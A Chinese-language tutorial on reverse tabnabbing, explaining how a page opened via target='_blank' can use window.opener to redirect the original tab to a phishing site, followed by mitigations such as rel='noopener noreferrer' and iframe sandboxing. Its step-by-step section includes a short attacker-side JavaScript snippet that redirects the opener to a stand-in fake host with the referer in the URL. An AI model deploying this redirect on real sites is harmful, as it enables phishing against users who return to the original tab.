## 一、opener與parent 在說 opener 之前，可以先聊聊 ```<iframe>``` 中的 parent。 我們知道，在 ```<iframe>``` 中提供了一個用于父子頁面交互的對象，叫做 window.parent，我們可以通過 window.parent 對象來從框架中的頁面訪問父級頁面的 window。 opener 與 parent 一樣，只不過是用于 ```<a target="_blank">``` 在新標簽頁打開的頁面的。通過 ```<a target="_blank">``` 打開的頁面，可以直接使用 window.opener 來訪問來源頁面的 window 對象。 ## 二、同域與跨域 瀏覽器提供了完整的跨域保護，在域名相同時，parent 對象和 opener 對象實際上就直接是上一級的 window 對象；而當域名不同時，parent 和 opener 則是經過包裝的一個 global 對象。這個 global 對象僅提供非常有限的屬性訪問，并且在這僅有的幾個屬性中，大部分也都是不允許訪問的（訪問會直接拋出 DOMException）。 在 ```<iframe>``` 中，提供了一個 sandbox 屬性用于控制框架中的頁面的權限，因此即使是同域，也可以控制 ```<iframe>``` 的安全性。 ## 三、漏洞 如果，你的網站上有一個鏈接，使用了 target="_blank"，那么一旦用戶點擊這個鏈接并進入一個新的標簽，新標簽中的頁面如果存在惡意代碼，就可以將你的網站直接導航到一個虛假網站。此時，如果用戶回到你的標簽頁，看到的就是被替換過的頁面了。 ## 四、步驟 1、在你的網站 https://example.com 上存在一個鏈接： ``` <a href="https://an.evil.site" target="_blank">進入一個“邪惡”的網站</a> ``` 2、用戶點擊了這個鏈接，在新的標簽頁打開了這個網站。這個網站可以通過 HTTP Header 中的 Referer 屬性來判斷用戶的來源。 并且，這個網站上包含著類似于這樣的 JavaScript 代碼： ``` const url = encodeURIComponent('{{header.referer}}'); window.opener.location.replace('https://a.fake.site/?' + url); ``` 3、此時，用戶在繼續瀏覽這個新的標簽頁，而原來的網站所在的標簽頁此時已經被導航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F。 4、惡意網站 https://a.fake.site 根據 Query String 來偽造一個足以欺騙用戶的頁面，并展示出來（期間還可以做一次跳轉，使得瀏覽器的地址欄更具有迷惑性）。 5、用戶關閉 https://an.evil.site 的標簽頁，回到原來的網站………………已經回不去了。 ## 五、解決方案 1、iframe ```<iframe>``` 使用 sandbox 屬性 2、a標簽 ``` <a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">進入一個“邪惡”的網站</a> ``` * noopener：不收錄到window.opener * noreferrer：不暴露到HTTP Header Referer * nofollow：不追蹤 **noopener兼容：** ``` "use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; } ``` 參考： https://segmentfault.com/a/1190000016421263